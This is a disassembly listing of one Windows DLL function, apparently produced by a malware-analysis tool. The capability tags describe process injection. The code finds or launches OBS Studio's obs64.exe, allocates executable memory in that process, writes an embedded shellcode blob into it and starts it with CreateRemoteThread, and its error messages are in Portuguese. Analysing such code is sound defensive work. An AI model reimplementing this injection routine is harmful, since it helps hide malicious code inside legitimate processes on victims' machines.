Function at 0x180039870
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x330
mov rax, qword [0x18070d040]
xor rax, rsp
mov qword [rsp + 0x320], rax
xor ebp, ebp
xor edx, edx
mov ecx, 2
mov edi, ebp
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180039930
lea rdx, [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180039927
mov qword [rsp + 0x340], rsi
lea rsi, str.obs64.exe
lea rdx, [rsp + 0x10c]
mov rax, rbp
nop dword [rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [rsi + rax*2]
jne 0x1800399fe
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x1800399fe
add rax, 2
cmp rax, 0xa
jne 0x1800398f0
mov edi, dword [rsp + 0xe8]
mov rsi, qword [rsp + 0x340]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x180039a80
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
movups xmmword [rsp + 0xa8], xmm0
lea rax, [rsp + 0x50]
mov dword [rsp + 0xac], 1
mov qword [rsp + 0x48], rax
lea rcx, str.C:Program_Filesobs_studio_bin64bitobs64.exe
lea rax, [rsp + 0x70]
mov word [rsp + 0xb0], bp
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rbp
xor r8d, r8d
mov qword [rsp + 0x30], rbp
xor edx, edx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], ebp
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x180039a1c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Falha_ao_abrir_o_processo
call fcn.180034c00
lea rdx, str.C:Program_Filesobs_studio_bin64bitobs64.exe
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rdx, [0x180034de0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180039b5b
lea rdx, [rsp + 0xe0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800398e1
jmp 0x18003991f
mov rbx, qword [rsp + 0x50]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x101d5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x180039ab0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Falha_ao_alocar_mem
call fcn.180034c00
lea rdx, str.C:Program_Filesobs_studio_bin64bitobs64.exe
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x180034de0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180039b52
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x180039a21
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Falha_ao_abrir_o_processo_msedge.exe.
call fcn.180034c00
jmp 0x1800399e9
mov r9d, 0x101d5
mov qword [rsp + 0x20], rbp
lea r8, [0x1806954d0]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180039b1c
lea rdx, str.Falha_ao_escrever_o_shellcode_no_processo
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180034c00
lea rdx, str.C:Program_Filesobs_studio_bin64bitobs64.exe
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x180034de0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x180039b52
mov qword [rsp + 0x30], rbp
mov r9, rdi
mov dword [rsp + 0x28], ebp
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x180039b49
lea rdx, str.Falha_ao_criar_o_thread_remoto_no_processo
jmp 0x180039ad9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.1800430a0
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret